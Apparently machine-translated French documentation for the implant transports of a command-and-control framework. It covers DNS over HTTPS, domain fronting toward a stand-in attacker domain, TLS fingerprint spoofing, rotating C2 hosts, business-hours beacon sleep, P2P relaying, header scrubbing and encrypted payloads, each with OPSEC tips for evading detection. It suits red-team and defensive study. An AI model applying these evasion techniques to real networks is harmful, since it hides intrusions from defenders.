Fonctionnalités de transport avancées¶
Au-delà des principaux types d'listeners (HTTP/S, DNS, SMB, QUIC, TCP Bind), l'implant de Stentor comprend une suite de fonctionnalités de transport avancées pour l'évasion, la résilience et la flexibilité. Ces fonctionnalités fonctionnent comme des couches autour ou à côté du transport principal : elles peuvent être combinées pour créer des canaux de communication C2 hautement personnalisés.
Superposition de transport
La plupart de ces fonctionnalités sont composables. Par exemple, vous pouvez utiliser empreinte digitale uTLS + fronting de domaine + transport rotatif + veille adaptative ensemble pour un canal C2 hautement résilient et furtif.
DNS sur HTTPS (DoH)¶
DNS sur HTTPS encapsule les requêtes DNS C2 dans les requêtes HTTPS standard adressées aux résolveurs DoH publics (Cloudflare, Google, etc.). Cela contourne la surveillance DNS traditionnelle qui inspecte le trafic brut du port UDP/TCP 53, puisque les requêtes DNS transitent par des connexions HTTPS cryptées vers des points de terminaison bien connus et fiables.
Prise en charge de la plateforme
Le transport DoH est actuellement Windows uniquement. Les versions non Windows incluent un stub qui renvoie une erreur. En effet, la cible principale du déploiement sont les points de terminaison Windows dans les environnements d'entreprise où la surveillance DNS est répandue.
Comment ça marche¶
sequenceDiagram
participant Implant as Implant (Windows)
participant DoH as DoH Resolver (e.g., Cloudflare)
participant DNS as C2 DNS Server
participant Backend as Backend API
Note over Implant: Encode C2 data as DNS subdomain labels
Implant->>DoH: HTTPS POST /dns-query (RFC 8484)
DoH->>DNS: Standard DNS query to C2 domain
DNS->>Backend: Forward beacon data
Backend-->>DNS: Task data in DNS response
DNS-->>DoH: DNS response (A/AAAA/TXT records)
DoH-->>Implant: HTTPS response with DNS answer
Note over Implant: Decode task from DNS records L'implant construit des requêtes DNS au format filaire (RFC 1035), les enveloppe dans des requêtes HTTPS conformément à la RFC 8484 et les envoie aux résolveurs DoH publics. Le serveur C2 reçoit les requêtes via son serveur DNS faisant autorité et code les réponses dans les enregistrements DNS.
Canaux de données¶
DoH prend en charge trois modes d'enregistrement DNS pour la récupération des tâches, sélectionnables au moment de l'exécution :
| Mode | Type d'enregistrement | Octets par réponse | Idéal pour |
|---|---|---|---|
dns | Un (IPv4) | 4 octets | Données minimales, profil bas |
dns6 | AAAA (IPv6) | 16 octets | Débit modéré |
dns-txt | TXT | ~255 octets | Débit le plus élevé (par défaut) |
Le mode peut être modifié au moment de l'exécution via SetMode(), permettant à l'opérateur de changer de canal de données sans redéployer l'implant.
Configuration¶
| Champ | Type | Par défaut | Description |
|---|---|---|---|
Servers | []string | -- | Noms d'hôte du résolveur DoH (par exemple, cloudflare-dns.com, dns.google) |
Verb | string | POST | Méthode HTTP – GET ou POST |
UserAgent | string | -- | En-tête User-Agent personnalisé |
Proxy | string | -- | URL du proxy HTTPS pour les requêtes DoH sortantes |
Headers | map[string]string | -- | En-têtes HTTP supplémentaires sur les requêtes DoH |
Domain | string | -- | Domaine C2 pour les requêtes DNS |
Accept | string | application/dns-message | Accepter la valeur de l'en-tête |
Les préfixes de sous-hôte pour différents types de requêtes sont configurables :
| Sous-hôte | Par défaut | Objectif |
|---|---|---|
| A record | cdn | Récupération de tâches via les enregistrements A |
| Enregistrement AAAA | www6 | Récupération de tâches via les enregistrements AAAA |
| Enregistrement TXT | api | Récupération de tâches via les enregistrements TXT (mode par défaut) |
Méthodes de demande du DoH¶
Méthode POST (par défaut, selon la spécification Cobalt Strike) : envoie la requête au format filaire DNS comme corps de la requête avec Content-Type: application/dns-message.
Méthode GET : Base64url encode la requête DNS (pas de remplissage, selon RFC 8484) et la place dans le paramètre de requête dns :
Sélection de serveur à tour de rôle¶
Lorsque plusieurs serveurs DoH sont configurés, le transport utilise une sélection circulaire entre les requêtes. Cela répartit le trafic entre plusieurs résolveurs pour éviter la limitation du débit et réduire le risque qu'un seul résolveur soit signalé.
Considérations OPSEC¶
OPSEC
- Le trafic DoH vers Cloudflare/Google est attendu sur la plupart des réseaux d'entreprise : il se mélange au trafic DNS crypté légitime.
- Configurez un
UserAgentpersonnalisé pour correspondre au navigateur qui ferait normalement des requêtes DoH - Utilisez la méthode POST (par défaut) car elle n'expose pas les données de requête dans l'URL
- Le domaine C2 apparaît uniquement au format filaire DNS à l'intérieur de le payload HTTPS chiffrée - non visible pour les moniteurs réseau surveillant la connexion HTTPS.
- Les résolveurs DoH enregistrent les requêtes ; utiliser plusieurs résolveurs avec tourniquet pour distribuer l'empreinte
- L'exfiltration de données volumineuses via DNS (même via HTTPS) est lente ; utilisez DoH principalement pour les canaux de commande et passez à HTTP/S pour le transfert de données en masse
Domain fronting¶
Le domain fronting achemine le trafic C2 via les réseaux de diffusion de contenu (CDN) en exploitant la différence entre le nom d'hôte TLS SNI et l'en-tête de l'hôte HTTP. Les moniteurs réseau voient une connexion à un domaine CDN légitime, tandis que le CDN achemine la demande vers le serveur C2 réel en fonction de l'en-tête Host.
Comment ça marche¶
sequenceDiagram
participant Implant as Implant
participant CDN as CDN Edge (e.g., CloudFront)
participant C2 as C2 Server
Note over Implant: TLS SNI = d111111abcdef8.cloudfront.net
Note over Implant: HTTP Host = c2.attacker.com
Implant->>CDN: HTTPS connection (SNI: cloudfront.net)
Note over CDN: Routes based on Host header
CDN->>C2: Forward request to c2.attacker.com
C2-->>CDN: C2 response
CDN-->>Implant: HTTPS response
Note over Implant: Network monitor sees: cloudfront.net Le FrontedClient crée des URL ciblant le domaine frontal (https://d111111abcdef8.cloudfront.net/api/v1/c2/beacon) mais définit httpReq.Host = c2.attacker.com pour qu'il achemine via le CDN vers le véritable backend C2.
Configuration¶
| Paramètre | Description | Exemple |
|---|---|---|
frontDomain | Domaine CDN pour TLS SNI | d111111abcdef8.cloudfront.net |
realDomain | Domaine C2 réel (en-tête d'hôte HTTP) | c2.attacker.com |
c2Path | Préfixe du chemin de l'API | /api/v1/c2 |
userAgent | Chaîne d'agent utilisateur HTTP | Mozilla/5.0 ... |
timeout | Expiration du délai de requête HTTP | 30s |
tlsFingerprint | Empreinte digitale du navigateur uTLS (facultatif) | chrome_auto |
Prise en charge des proxys¶
La domain fronting prend en charge la configuration de proxy facultative via NewFrontedClientWithProxy(). Lorsqu'aucun proxy explicite n'est configuré, le transport revient automatiquement à la détection du proxy IE/système sous Windows (voir Détection du proxy IE ci-dessous).
Intégration avec uTLS¶
Le fronting de domaine utilise newUTLSFrontedTransport() qui définit le SNI TLS sur le domaine frontal (et non sur la cible de la connexion). Lorsqu'un tlsFingerprint est spécifié, la négociation TLS utilise un ClientHello correspondant au navigateur tout en gardant le SNI pointé vers le domaine CDN.
Considérations OPSEC¶
OPSEC
- Le fournisseur CDN est important : AWS CloudFront, Azure CDN et Fastly ont été utilisés pour le fronting. Certains fournisseurs bloquent désormais activement le domain fronting (Google, AWS dans certaines configurations).
- Le domaine frontal doit être un domaine à fort trafic et de haute réputation qui n'éveillera pas de suspicion dans les journaux réseau.
- Utilisez un
tlsFingerprint(par exemple,chrome_auto) pour éviter la prise d'empreinte digitale de prise de contact TLS en tant que bibliothèquecrypto/tlsde Go. - Les en-têtes par défaut de Go (
User-Agent: Go-http-client/1.1,Accept-Encoding: gzip) sont supprimés viasuppressGoDefaults(). - Si le CDN effectue une inspection TLS et valide que SNI correspond à l'en-tête Host, le fronting échouera : testez votre configuration CDN.
Empreinte digitale uTLS¶
La bibliothèque standard crypto/tls de Go produit une empreinte digitale TLS ClientHello distinctive (JA3/JA4) que les outils de sécurité réseau peuvent identifier comme trafic non-navigateur. uTLS remplace la poignée de main TLS par des empreintes digitales correspondant au navigateur à l'aide de la bibliothèque refraction-networking/utls, faisant apparaître les connexions C2 comme un trafic normal du navigateur.
Comment ça marche¶
Au lieu du crypto/tls.Dial de Go, le transport utilise utls.UClient avec un ClientHelloID prédéfini qui reproduit les extensions TLS exactes, les suites de chiffrement et les paramètres de prise de contact d'une version spécifique du navigateur.
Profils d'empreintes digitales pris en charge¶
| Chaîne de profil | Navigateur | Remarques |
|---|---|---|
chrome_auto | Chrome (dernier) | Repli par défaut pour les valeurs non reconnues |
chrome_120 | Chrome 120 | Pin version spécifique |
chrome_131 | Chrome 131 | Pin version spécifique |
chrome_133 | Chrome 133 | Pin version spécifique |
firefox_auto | Firefox (dernier) | Empreinte digitale mise à jour automatiquement |
firefox_120 | Firefox 120 | Pin version spécifique |
edge_auto | Edge (dernier) | Empreinte digitale mise à jour automatiquement |
edge_85 | Edge 85 | Version héritée |
edge_106 | Edge 106 | Pin version spécifique |
safari_auto | Safari (dernier) | Empreinte digitale mise à jour automatiquement |
safari_16 | Safari 16.0 | macOS/iOS |
ios_14 | iOS 14Safari | Empreinte digitale mobile |
random / randomized | Navigateur aléatoire | Randomisé par connexion |
Sélection de profil
Utilisez chrome_auto ou firefox_auto pour la plupart des engagements : ils se mettent automatiquement à jour pour correspondre à la dernière version du navigateur. Épinglez sur une version spécifique (par exemple, chrome_131) uniquement lorsque vous avez besoin d'empreintes digitales reproductibles pour les tests ou lorsque l'environnement cible dispose d'une version de navigateur connue.
Variantes de transport¶
uTLS est intégré dans trois constructeurs de transport :
| Constructeur | Cas d'utilisation |
|---|---|
newUTLSTransport(fingerprint, insecureSkipVerify) | Transport HTTPS standard |
newUTLSTransportWithProxy(fingerprint, insecureSkipVerify, proxyURL) | HTTPS via proxy |
newUTLSFrontedTransport(fingerprint, frontDomain, insecureSkipVerify) | Domain fronting (SNI = front domain) |
Lorsque fingerprint est vide, tous les constructeurs reviennent au standard Go crypto/tls (pas d'uTLS). L'indicateur DisableCompression: true est toujours défini pour empêcher Go d'injecter Accept-Encoding: gzip qui prendrait l'empreinte du client.
Considérations OPSEC¶
OPSEC
- uTLS n'usurpe pas les empreintes digitales HTTP/2 TLS --
http2.Transportutilise sa propre configuration TLS. Utilisez le transport profilé HTTP/2 pour les connexions HTTP/2. - Le profil
random/randomizedgénère une empreinte digitale différente par connexion, qui peut être un vecteur de détection si un analyste corrèle plusieurs empreintes digitales uniques provenant de la même source. - Faites correspondre l'empreinte digitale à l'en-tête
User-Agentde votre profil malléable : un Chrome JA3 avec un agent utilisateur Firefox est suspect. - uTLS prend en charge le tunneling proxy :
http.Transportde Go gère HTTP CONNECT avantDialTLSContext, aucun code proxy personnalisé n'est donc nécessaire.
Transport rotatif/de repli¶
Le RotatingTransport encapsule plusieurs instances de transport et gère la sélection des hôtes via des stratégies configurables. Il offre une résilience multi-hôtes, un basculement automatique et une stratégie de sortie lorsque tous les serveurs C2 sont inaccessibles.
Stratégies de rotation¶
| Stratégie | Formater | Description |
|---|---|---|
| Robin à la ronde | round-robin | Parcourez les hôtes de manière séquentielle à chaque demande |
| Aléatoire | random | Choisissez un hôte disponible au hasard par demande |
| Basculement (nombre) | failover-N | Restez sur l'hôte actuel jusqu'à N échecs consécutifs, puis changez |
| Basculement (durée) | failover-30m | Variante de basculement prenant en compte la durée |
| Rotation (temps) | rotate-30m | Basculez vers l'hôte suivant toutes les 30 minutes, quels que soient les échecs |
Suffixes de durée : s (secondes), m (minutes), h (heures), d (jours).
"round-robin" -- Cycle through all hosts
"random" -- Random selection
"failover-5" -- Switch after 5 failures
"rotate-2h" -- Switch every 2 hours
"rotate-7d" -- Switch every 7 days
Stratégie de tentative/sortie maximale¶
Le MaxRetryConfig définit ce qui se passe lorsque tous les hôtes sont inaccessibles :
Format: exit-[max]-[increase]-[duration]
exit-96-48-5m
| | |
| | +-- Escalate sleep interval to 5 minutes
| +------ Escalate at 48 consecutive failures
+----------- Exit implant after 96 consecutive failures
| Paramètre | Description |
|---|---|
max | Total des échecs consécutifs avant la sortie de l'implant |
increase | Nombre d'échecs auquel le sommeil est intensifié |
duration | Intervalle de sommeil accru (5m, 1h, 7d) |
En cas de succès après l'escalade, l'intervalle de veille est automatiquement restauré à sa valeur d'origine.
Mutation de l'hôte (exécution)¶
Les hôtes peuvent être ajoutés, supprimés, conservés ou réinitialisés au moment de l'exécution via la session de l'opérateur :
| Méthode | Description | Limite |
|---|---|---|
AddHost(url) | Ajouter un nouvel hôte C2 à la rotation | Max 32 hôtes |
RemoveHost(url) | Supprimer un hôte (impossible de supprimer le dernier) | Minimum 1 hôte |
SetHeld(url) | Suspendre temporairement un hôte | -- |
ReleaseHeld(url) | Réactiver un hôte suspendu | -- |
ResetHosts() | Restaurer la configuration d'origine de l'hôte | -- |
Récupération de l'hôte en attente¶
Lorsque tous les hôtes sont marqués comme « en attente » (temporairement indisponibles en raison de pannes), le transport libère automatiquement tous les hôtes et réessaye. Cela évite un état de blocage dans lequel aucun hôte n'est disponible.
Rappel de basculement¶
Enregistrez un rappel pour être averti lorsque l'hôte actif change :
rt.SetFailoverCallback(func(fromIndex, toIndex int) {
log.Printf("Failover: host %d -> host %d", fromIndex, toIndex)
})
Considérations OPSEC¶
OPSEC
- Utilisez
failover-5pour un C2 stable avec récupération automatique : l'implant reste sur l'hôte principal et ne bascule que lorsqu'il est réellement indisponible. rotate-2hparcourt les hôtes selon un planning, distribuant le trafic sur plusieurs serveurs C2 pour éviter qu'un serveur n'accumule des connexions excessives.- La stratégie de sortie (
exit-96-48-5m) empêche un implant de s'afficher indéfiniment lorsque l'infrastructure C2 est en panne, réduisant ainsi la fenêtre de détection. - L'escalade du sommeil au seuil
increaseralentit la fréquence du beacon lorsque la connectivité est dégradée, réduisant ainsi le bruit du réseau. - Utilisez la stratégie
randomlorsque plusieurs serveurs C2 sont frontés par différents CDN pour maximiser la résilience.
Sommeil adaptatif¶
Le AdaptiveTimer ajuste les intervalles de sommeil du beacon en fonction de l'heure et du jour de la semaine. En dehors des heures d'ouverture (nuit et week-end), l'intervalle de veille est multiplié par un facteur configurable, réduisant ainsi la fréquence des beacons lorsque le trafic utilisateur réel est faible et qu'une activité réseau anormale est plus susceptible d'être détectée.
Configuration¶
| Champ | Type | Par défaut | Description |
|---|---|---|---|
WorkStart | int | 8 | Heure (0-23) de début des heures d'ouverture |
WorkEnd | int | 17 | Heure (0-23) à laquelle les heures de travail se terminent |
OffHoursMult | float64 | -- | Multiplicateur de sommeil en dehors des heures d'ouverture (par exemple, 3.0) |
Location | string | UTC | Fuseau horaire IANA (par exemple, America/New_York) |
Désactivé par défaut
NewAdaptiveTimer renvoie nil lorsque OffHoursMult <= 1.0, désactivant ainsi la fonctionnalité. La méthode AdjustedSleep est sans danger et renvoie baseSleep inchangé lorsque le timer est nul.
Calcul du sommeil¶
if (hour < WorkStart OR hour >= WorkEnd OR Saturday OR Sunday):
sleep = baseSleep * OffHoursMult
else:
sleep = baseSleep
Exemple avec WorkStart=8, WorkEnd=17, OffHoursMult=3.0, baseSleep=60s :
| Temps | Jour | Sommeil ajusté |
|---|---|---|
| 10:00 | mardi | 60s (heures de bureau) |
| 22:00 | mardi | 180s (hors heures de bureau, 3x) |
| 06:00 | mercredi | 180s (avant les heures de bureau, 3x) |
| 14:00 | samedi | 180s (week-end, 3x) |
| 14:00 | lundi | 60s (heures de bureau) |
Considérations OPSEC¶
OPSEC
- Définissez le fuseau horaire sur le fuseau horaire de la cible, et non sur celui de l'opérateur. Utilisez le format de base de données de fuseau horaire IANA (par exemple,
America/Chicago). - Un multiplicateur 3x est un point de départ raisonnable : une base de 60 secondes devient 180 secondes en dehors des heures d'ouverture.
- Sous Windows, si la base de données de fuseau horaire IANA n'est pas disponible, le minuteur revient à UTC. Cela peut entraîner des calculs incorrects en dehors des heures d'ouverture pour les cibles non UTC.
- Le sommeil adaptatif rend le timing des beacons plus naturel : les défenseurs qui surveillent les beacons à intervalles réguliers verront des modèles différents pendant les heures de travail et en dehors des heures de travail.
- Combinez-le avec la gigue (appliquée séparément au niveau du beacon) pour un obfuscation temporelle maximale.
TCP P2P (liaison peer-to-peer)¶
Le TCPPeerClient permet aux beacons parents de se connecter aux beacons enfants exécutées en mode de liaison TCP. Cela crée des chaînes de relais peer-to-peer pour atteindre des cibles qui n'ont pas d'accès au réseau sortant, en acheminant le trafic C2 via des beacons intermédiaires.
Comment ça marche¶
graph LR
C2[C2 Server] <-->|HTTPS| Parent[Parent Beacon]
Parent <-->|TCP P2P| Child[Child Beacon<br/>Bind Mode]
Child <-->|TCP P2P| Grandchild[Grandchild Beacon<br/>Bind Mode]
style C2 fill:#f96,stroke:#333
style Parent fill:#6f9,stroke:#333
style Child fill:#69f,stroke:#333
style Grandchild fill:#69f,stroke:#333 Le beacon enfant écoute sur un port TCP (mode liaison). Le beacon parent s'y connecte en utilisant TCPPeerClient et relaie toutes les opérations C2 (enregistrement, récupération de tâches, soumission des résultats) via le protocole de message P2P.
Protocole de messages P2P¶
Toutes les communications utilisent des messages P2P structurés avec des codes de type :
| Type de message | Direction | Objectif |
|---|---|---|
MsgTypeCheckin | Parent -> Enfant | Enregistrement de beacon |
MsgTypeCheckinResp | Enfant -> Parent | Réponse d'enregistrement avec ID de beacon |
MsgTypeGetTask | Parent -> Enfant | Sondage pour les tâches en attente |
MsgTypeTaskResp | Enfant -> Parent | Payload de la tâche ou réponse vide |
MsgTypeSubmitResult | Parent -> Enfant | Résultats de l'exécution des tâches |
MsgTypeResultAck | Enfant -> Parent | Accusé de réception (peut contenir une erreur) |
Cycle de vie de la connexion¶
- Création :
NewTCPPeerClient(host, port)-- ne se connecte pas immédiatement - Premier enregistrement : La connexion est établie lors du premier appel
Checkin() - Opérations :
GetTask()etSubmitResult()utilisent la connexion TCP établie - Démontage :
Close()met fin à la connexion P2P
Considérations OPSEC¶
OPSEC
- Le trafic TCP P2P est non chiffré au niveau de la couche transport par défaut : il repose sur le cadrage des messages du protocole P2P, et non sur TLS. Utilisez-le uniquement dans les segments de réseau internes.
- Le port de liaison sur le beacon enfant est un socket d'écoute qui peut être découvert par des analyses de port. Utilisez des ports non standard et limitez l'accès avec des pare-feu basés sur l'hôte.
- Les chaînes P2P ajoutent de la latence à chaque interaction C2 : chaque saut ajoute un aller-retour.
- Les beacons enfants relaient le trafic vers le serveur C2 via leur propre transport, de sorte que l'ensemble de la chaîne est aussi fiable que le maillon le plus faible.
Transport profilé HTTP/2¶
HTTP2ProfiledClient fournit une communication HTTP/2 C2 avec une prise en charge complète des profils malléables. Il applique les mêmes transformations d'URI, d'en-tête et de corps que le ProfiledClient standard mais force le transport HTTP/2 à l'aide de golang.org/x/net/http2.Transport avec la négociation ALPN h2.
Prise en charge de la plateforme
Le transport profilé HTTP/2 est disponible sous Windows et Linux (//go:build windows || linux).
HTTP/2 vs HTTP/1.1 profilés¶
| Caractéristique | ProfiledClient (HTTP/1.1) | HTTP2ProfiledClient (HTTP/2) |
|---|---|---|
| Empreinte digitale TLS | Usurpation du navigateur uTLS | Allez crypto/tls (pas d'uTLS) |
| Protocole | HTTP/1.1 | HTTP/2 avec ALPN h2 |
| Multiplexage | Non | Oui (flux simultanés) |
| Cadrage binaire | Non | Oui (ressemble à un navigateur moderne) |
| Compression d'en-tête | Non | Compression HPACK |
Pourquoi pas d'uTLS pour HTTP/2 ?
uTLS ne prend pas en charge http2.Transport : ils utilisent des configurations TLS incompatibles. Le cadrage binaire de HTTP/2 et TLS 1.3 obligatoire avec ALPN h2 produisent déjà une empreinte de connexion d'aspect moderne, rendant uTLS moins critique.
Intégration de profils malléables¶
Le transport profilé HTTP/2 utilise la même structure de profil que HTTP/1.1 :
- Checkin/GetTask : Utilise le bloc de profil
http-get- transformations de métadonnées, sélection d'URI, types de terminaison (cookie, paramètre, en-tête, corps) - SubmitResult : Utilise le bloc de profil
http-post- transformations de sortie, transformations d'ID, verbe HTTP configurable
Placement des données (types de résiliation) :
| Résiliation | Placement des données d'enregistrement | Emplacement de l'ID d'interrogation de tâche |
|---|---|---|
body | Corps de la demande | N/A (demande GET) |
cookie | Cookie: session=... | Cookie: session=... |
parameter | Paramètre de requête ?data=... | Paramètre de requête ?beacon_id=... |
header | en-tête X-Data: ... | N/D |
Considérations OPSEC¶
OPSEC
- Les connexions HTTP/2 sont de plus en plus courantes : la plupart des sites Web modernes fonctionnent via HTTP/2, ce qui permet un mélange naturel du trafic.
- La compression d'en-tête HPACK rend l'inspection des en-têtes plus difficile pour les moniteurs réseau.
- L'absence d'uTLS signifie que l'empreinte digitale TLS sera l'empreinte digitale par défaut de Go, et non l'empreinte digitale du navigateur. Ceci est acceptable car HTTP/2 ALPN
h2est déjà un signal fort d'un client moderne. - Les en-têtes définis par le profil suppriment les valeurs par défaut de Go (
User-Agent: Go-http-client,Accept-Encoding: gzip) viasetOrderedHeaders().
Commande d'en-tête¶
Le système de gestion des en-têtes de Stentor supprime les en-têtes HTTP automatiquement injectés par Go et garantit que seuls les en-têtes définis par le profil apparaissent dans les requêtes. Cela évite les empreintes digitales triviales du client C2 en tant qu'application Go.
Problème : les en-têtes par défaut de Go¶
Le net/http de Go injecte automatiquement deux en-têtes qui identifient le client comme non-navigateur :
| En-tête | Passer par défaut | Risque de détection |
|---|---|---|
User-Agent | Go-http-client/1.1 | Drapeau rouge immédiat dans les journaux réseau |
Accept-Encoding | gzip | Révèle la gestion de la compression d'exécution Go |
Solution¶
Deux fonctions gèrent la gestion des en-têtes :
setOrderedHeaders() -- Pour les transports profilés (ProfiledClient, HTTP2ProfiledClient) :
- Efface tous les en-têtes existants de la requête
- Définit
Accept-Encodingsurnil(supprime l'auto-injection de Go) - Applique les en-têtes définis par le profil dans leur ordre déclaré
- Revient au profil
UserAgentuniquement si aucun en-tête de profil ne définitUser-Agent
suppressGoDefaults() -- Pour les transports non profilés (FrontedClient, EncryptedClient) :
- Remplace
User-Agentpar la valeur configurée - Supprime l'auto-injection
Accept-Encoding: gzip
Limitation des commandes de virements HTTP/1.1
Le net/http de Go trie par ordre alphabétique les clés d'en-tête lors de l'écriture de HTTP/1.1 sur le fil. La valeur principale de setOrderedHeaders est (a) de supprimer les valeurs par défaut injectées par Go et (b) de garantir que SEULS les en-têtes définis par le profil apparaissent. Un véritable contrôle des commandes filaires nécessiterait un RoundTripper personnalisé.
Considérations OPSEC¶
OPSEC
- Configurez toujours un
User-Agentréaliste dans votre profil malléable qui correspond à la population de navigateurs de l'environnement cible. - L'astuce
Accept-Encoding: nilempêche Go d'ajoutergzipmais signifie également que le client n'annoncera pas la prise en charge de la compression - c'est normal pour certains clients API mais inhabituel pour les navigateurs. - HTTP/2 utilise la compression d'en-tête HPACK qui masque l'ordre des en-têtes individuels, ce qui rend cela moins critique pour les connexions HTTP/2.
- Les outils de sécurité réseau qui signalent les chaînes
Go-http-clientUser-Agent ne détecteront pas le trafic Stentor lorsque les en-têtes sont correctement configurés.
Détection du proxy IE (Windows)¶
Sur les cibles Windows, l'implant détecte automatiquement les paramètres de proxy système configurés via les options Internet (IE/WinHTTP). Cela permet au beacon d'acheminer via les serveurs proxy d'entreprise sans configuration manuelle.
Plateforme
Cette fonctionnalité est Windows uniquement. Il utilise l'API WinHttpGetIEProxyConfigForCurrentUser de winhttp.dll.
Comment ça marche¶
Lors de l'initialisation du transport, lorsqu'aucun proxy explicite n'est configuré, l'implant appelle l'API WinHTTP pour lire les paramètres de proxy IE de l'utilisateur actuel. Il s'agit du même mécanisme que celui utilisé par les navigateurs et les applications Windows pour la découverte de proxy.
Prise en charge des formats de proxy¶
| Formater | Exemple | Manipulation |
|---|---|---|
| Procuration simple | proxy.corp.com:8080 | Utilisé directement, schéma http:// ajouté au début |
| Par protocole | http=proxy1:80;https=proxy2:443 | Entrée de proxy HTTP extraite |
| Pas de procuration | -- | Renvoie vide, aucun proxy utilisé |
Pour les chaînes proxy par protocole, l'entrée http= est extraite. Si aucune entrée http= n’existe, la première entrée est utilisée comme solution de secours.
Intégration automatique¶
La détection du proxy IE est appelée automatiquement par plusieurs transports lorsqu'aucun proxy explicite n'est fourni :
NewFrontedClient()-- appelleapplyIEProxyFallback(transport)NewFrontedClientWithProxy()-- revient au proxy IE lorsqueproxyURLest videnewUTLSTransportWithProxy()-- revient au proxy IE lorsqueproxyURLetfingerprintsont vides
Limites¶
| Limitation | Détail |
|---|---|
| Pas de prise en charge WPAD/PAC | Seuls les paramètres de proxy manuels sont détectés ; la configuration automatique (WPAD/PAC) n'est pas prise en charge |
| Paramètres par utilisateur | Lit la configuration du proxy de l'utilisateur actuel ; Les beacons de contexte SYSTEM peuvent avoir des paramètres différents |
| Pas de rafraîchissement automatique | Les paramètres du proxy sont lus une fois lors de l'initialisation du transport ; les changements nécessitent un redémarrage du transport |
Considérations OPSEC¶
OPSEC
- L'utilisation du proxy système constitue un avantage OPSEC : il rend le trafic C2 impossible à distinguer du trafic d'application normal acheminé via le proxy d'entreprise.
- Les beacons de contexte SYSTEM (provenant de services ou de tâches planifiées) peuvent ne pas avoir les mêmes paramètres de proxy que l'utilisateur interactif : testez les deux contextes.
- L'appel API WinHTTP ne génère pas d'événements observables (pas de trafic réseau, pas d'entrées dans le journal des événements).
- Si le proxy nécessite une authentification,
http.Transportde Go gère automatiquement l'authentification du proxy NTLM/Négocier lors de son exécution dans le contexte de l'utilisateur.
Wrapper de transport chiffré¶
Le EncryptedClient ajoute une couche de cryptage AES-256-GCM au-dessus du transport HTTP. Toutes les payloads C2 (enregistrement, récupération des tâches, soumission des résultats) sont chiffrées de bout en bout entre l'implant et le serveur C2, indépendamment de TLS.
Pourquoi le double cryptage ?¶
| Calque | Protection contre |
|---|---|
| TLS (externe) | Interception au niveau du réseau, MITM |
| AES-256-GCM (intérieur) | Appareils d'inspection TLS, CDN MITM, proxys compromis |
Même si un dispositif d'inspection SSL ou un CDN met fin et rechiffre TLS, la couche AES interne protège le payload C2 de l'inspection.
Flux d'échange de clés¶
sequenceDiagram
participant Implant
participant C2 as C2 Server
Implant->>C2: GET /pubkey (fetch RSA public key)
C2-->>Implant: RSA public key (PEM)
Note over Implant: Generate AES-256 session key
Implant->>C2: POST /keyx (RSA-encrypted session key)
C2-->>Implant: Acknowledgment
Note over Implant,C2: All subsequent traffic uses AES-256-GCM
Implant->>C2: POST /beacon {encrypted checkin}
C2-->>Implant: {encrypted response} - L'implant récupère la clé publique RSA du serveur
- Implant génère une clé de session AES-256 et la chiffre avec la clé RSA du serveur
- Le serveur déchiffre la clé de session et la stocke pour la session du beacon
- Toutes les requêtes ultérieures utilisent le cryptage AES-256-GCM
Premier flux d'enregistrement¶
Le premier enregistrement utilise un flux spécial car le beacon n'a pas encore d'ID attribué :
- Générer un UUID temporaire comme identifiant de session
- Effectuer un échange de clé avec l'UUID temporaire
- Envoyer un enregistrement crypté (l'ID du beacon est nul dans le corps)
- Le serveur attribue un ID de beacon et migre la session de l'UUID temporaire vers l'ID de beacon réel
- Les requêtes suivantes utilisent l'ID de beacon attribué par le serveur.
Format de demande¶
Les requêtes chiffrées incluent des en-têtes d'identification :
| En-tête | Valeur | Objectif |
|---|---|---|
X-Encrypted | 1 | Signale au serveur que le payload est cryptée en AES |
X-Beacon-ID | Chaîne UUID | Identifie la clé de session à utiliser pour le décryptage |
Content-Type | application/json | Type de contenu JSON standard |
La payload chiffrée est enveloppée dans une enveloppe JSON avec un encodage base64 :
Récupération de session¶
Si le serveur redémarre et perd la clé de session (renvoie HTTP 401), le client automatiquement :
- Invalide la session locale (efface la clé de session et la clé publique mise en cache)
- Rétablit la session via l'échange de clés
- Réessaye la requête ayant échoué (une fois, pour éviter les boucles infinies)
Chemins de points de terminaison personnalisés¶
Pour OPSEC, les chemins des points de terminaison d'échange de clés peuvent être personnalisés via SetStagerPaths(pubkeyPath, keyxPath) pour correspondre aux chemins d'étape de profil malléables. Cela évite d'utiliser des chemins par défaut comme /pubkey et /keyx qui pourraient être signés.
Intégration avec uTLS¶
Le client chiffré prend en charge les empreintes digitales uTLS et la configuration du proxy :
NewEncryptedClient()-- utilisenewUTLSTransport(fingerprint, insecureSkipVerify)NewEncryptedClientWithProxy()-- utilisenewUTLSTransportWithProxy(fingerprint, insecureSkipVerify, proxyURL)
Considérations OPSEC¶
OPSEC
- Les en-têtes
X-Encrypted: 1etX-Beacon-IDsont des en-têtes personnalisés qui peuvent être signés. Envisagez de personnaliser les noms d'en-tête via un profil malléable si vous utilisez un transport chiffré dans des environnements sensibles. - L'échange de clés est une opération unique par session : il génère uniquement du trafic réseau lors de la configuration initiale et après le redémarrage du serveur.
- Les points de terminaison de récupération de clé publique RSA (
/pubkey) et d'échange de clés (/keyx) utilisent des chemins par défaut, sauf s'ils sont personnalisés viaSetStagerPaths()-- modifiez-les en production. - AES-256-GCM fournit un cryptage authentifié, empêchant la falsification de le payload.
- L'invalidation de session sur 401 garantit que l'implant récupère correctement après le redémarrage du serveur sans intervention de l'opérateur.
Comparaison des transports¶
| Fonctionnalité de transport | Furtif | Débit | Résilience | Plateforme | Complexité |
|---|---|---|---|---|---|
| DNS sur HTTPS | Élevé | Faible | Moyen | Windows | Moyen |
| Domain fronting | Très élevé | Élevé | Moyen | Tout | Faible |
| Empreinte digitale uTLS | Élevé | N/A (couche) | N/D | Tout | Faible |
| Transport rotatif | N/A (couche) | N/D | Très élevé | Tout | Moyen |
| Veille adaptative | Élevé | N/A (période) | N/D | Tout | Faible |
| TCP P2P | Faible | Élevé | Moyen | Tout | Faible |
| Profil HTTP/2 | Élevé | Élevé | Moyen | Win/Linux | Moyen |
| Ordre d'en-tête | Élevé | N/A (couche) | N/D | Tout | Faible |
| Détection du proxy IE | Élevé | N/A (couche) | Élevé | Windows | Faible |
| Emballage crypté | Moyen | Élevé | Moyen | Tout | Moyen |
Voir aussi¶
- Listeners HTTP/HTTPS -- Configuration de transport HTTP/HTTPS standard
- Listeners DNS -- Transport DNS C2 brut
- Listeners QUIC -- HTTP/3 sur le transport QUIC
- Listeners SMB -- Transport de canalisations nommé pour le mouvement latéral
- TCP Bind Listeners -- Mode de liaison TCP pour la liaison P2P
- Profils malléables -- Mise en forme du trafic basée sur le profil